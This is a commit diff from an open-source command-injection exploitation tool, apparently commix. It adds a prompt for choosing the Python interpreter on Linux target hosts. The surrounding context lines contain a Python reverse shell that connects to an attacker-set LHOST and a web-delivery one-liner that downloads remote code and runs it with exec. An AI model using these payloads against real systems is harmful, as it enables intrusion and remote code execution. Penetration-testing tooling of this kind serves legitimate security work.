Skip to content

Commit db6cd44

Browse files
committed
Minor update regarding setting python interpreter (on linux target hosts).
1 parent 4a9e0a7 commit db6cd44

File tree

3 files changed

+76
-9
lines changed

3 files changed

+76
-9
lines changed

src/core/shells/bind_tcp.py

Lines changed: 31 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -126,6 +126,32 @@ def set_python_working_dir():
126126
print(settings.print_error_msg(err_msg))
127127
pass
128128

129+
"""
130+
Set up the Python interpreter on linux target host.
131+
"""
132+
def set_python_interpreter():
133+
while True:
134+
if not menu.options.batch:
135+
question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
136+
question_msg += "' as Python working interpreter on the target host? [Y/n] > "
137+
python_interpreter = _input(settings.print_question_msg(question_msg))
138+
else:
139+
python_interpreter = ""
140+
if len(python_interpreter) == 0:
141+
python_interpreter = "Y"
142+
if python_interpreter in settings.CHOICE_YES:
143+
break
144+
elif python_interpreter in settings.CHOICE_NO:
145+
question_msg = "Please provide a custom working interpreter for Python (e.g. '"
146+
question_msg += settings.LINUX_PYTHON_INTERPRETER + "') > "
147+
settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg))
148+
settings.USER_DEFINED_PYTHON_INTERPRETER = True
149+
break
150+
else:
151+
err_msg = "'" + python_interpreter + "' is not a valid answer."
152+
print(settings.print_error_msg(err_msg))
153+
pass
154+
129155
"""
130156
check / set rhost option for bind TCP connection
131157
"""
@@ -420,10 +446,13 @@ def other_bind_shells(separator):
420446
"set lport "+ str(settings.LPORT) + "\n"
421447
"exploit\n\n")
422448

423-
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
424-
set_python_working_dir()
449+
if settings.TARGET_OS == "win":
450+
if not settings.USER_DEFINED_PYTHON_DIR:
451+
set_python_working_dir()
425452
other_shell = settings.WIN_PYTHON_DIR + " -c " + data
426453
else:
454+
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
455+
set_python_interpreter()
427456
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
428457
msf_launch_msg(output)
429458
except:

src/core/shells/reverse_tcp.py

Lines changed: 43 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -141,6 +141,32 @@ def set_python_working_dir():
141141
print(settings.print_error_msg(err_msg))
142142
pass
143143

144+
"""
145+
Set up the Python interpreter on linux target host.
146+
"""
147+
def set_python_interpreter():
148+
while True:
149+
if not menu.options.batch:
150+
question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
151+
question_msg += "' as Python working interpreter on the target host? [Y/n] > "
152+
python_interpreter = _input(settings.print_question_msg(question_msg))
153+
else:
154+
python_interpreter = ""
155+
if len(python_interpreter) == 0:
156+
python_interpreter = "Y"
157+
if python_interpreter in settings.CHOICE_YES:
158+
break
159+
elif python_interpreter in settings.CHOICE_NO:
160+
question_msg = "Please provide a custom working interpreter for Python (e.g. '"
161+
question_msg += settings.LINUX_PYTHON_INTERPRETER + "') > "
162+
settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg))
163+
settings.USER_DEFINED_PYTHON_INTERPRETER = True
164+
break
165+
else:
166+
err_msg = "'" + python_interpreter + "' is not a valid answer."
167+
print(settings.print_error_msg(err_msg))
168+
pass
169+
144170
"""
145171
check / set lhost option for reverse TCP connection
146172
"""
@@ -323,6 +349,8 @@ def other_reverse_shells(separator):
323349

324350
# Python-reverse-shell
325351
elif other_shell == '4':
352+
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
353+
set_python_interpreter()
326354
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \
327355
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
328356
"s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \
@@ -417,10 +445,13 @@ def other_reverse_shells(separator):
417445
"for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
418446
"globals(), __import__('contextlib'))\""
419447

420-
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
421-
set_python_working_dir()
448+
if settings.TARGET_OS == "win":
449+
if not settings.USER_DEFINED_PYTHON_DIR:
450+
set_python_working_dir()
422451
other_shell = settings.WIN_PYTHON_DIR + data
423452
else:
453+
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
454+
set_python_interpreter()
424455
other_shell = settings.LINUX_PYTHON_INTERPRETER + data
425456
break
426457

@@ -458,10 +489,13 @@ def other_reverse_shells(separator):
458489
"set lport " + str(settings.LPORT) + "\n"
459490
"exploit\n\n")
460491

461-
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
462-
set_python_working_dir()
492+
if settings.TARGET_OS == "win":
493+
if not settings.USER_DEFINED_PYTHON_DIR:
494+
set_python_working_dir()
463495
other_shell = settings.WIN_PYTHON_DIR + " -c " + data
464496
else:
497+
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
498+
set_python_interpreter()
465499
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
466500
msf_launch_msg(output)
467501
except:
@@ -633,10 +667,13 @@ def other_reverse_shells(separator):
633667

634668
if web_delivery == '1':
635669
data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b"
636-
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
637-
set_python_working_dir()
670+
if settings.TARGET_OS == "win":
671+
if not settings.USER_DEFINED_PYTHON_DIR:
672+
set_python_working_dir()
638673
other_shell = settings.WIN_PYTHON_DIR + " -c " + data
639674
else:
675+
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
676+
set_python_interpreter()
640677
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
641678
msf_launch_msg(output)
642679
break

src/utils/settings.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -216,7 +216,7 @@ def sys_argv_errors():
216216
DESCRIPTION = "The command injection exploiter"
217217
AUTHOR = "Anastasios Stasinopoulos"
218218
VERSION_NUM = "3.3"
219-
REVISION = "45"
219+
REVISION = "46"
220220
STABLE_RELEASE = False
221221
if STABLE_RELEASE:
222222
VERSION = "v" + VERSION_NUM + "-stable"
@@ -810,6 +810,7 @@ def sys_argv_errors():
810810

811811
# Default target host's python interpreter
812812
LINUX_PYTHON_INTERPRETER = "python3"
813+
USER_DEFINED_PYTHON_INTERPRETER = False
813814

814815
# Windows PHP installed directory.
815816
WIN_PHP_DIR = "C:\\xampp\\php\\php.exe"

0 commit comments

Comments
 (0)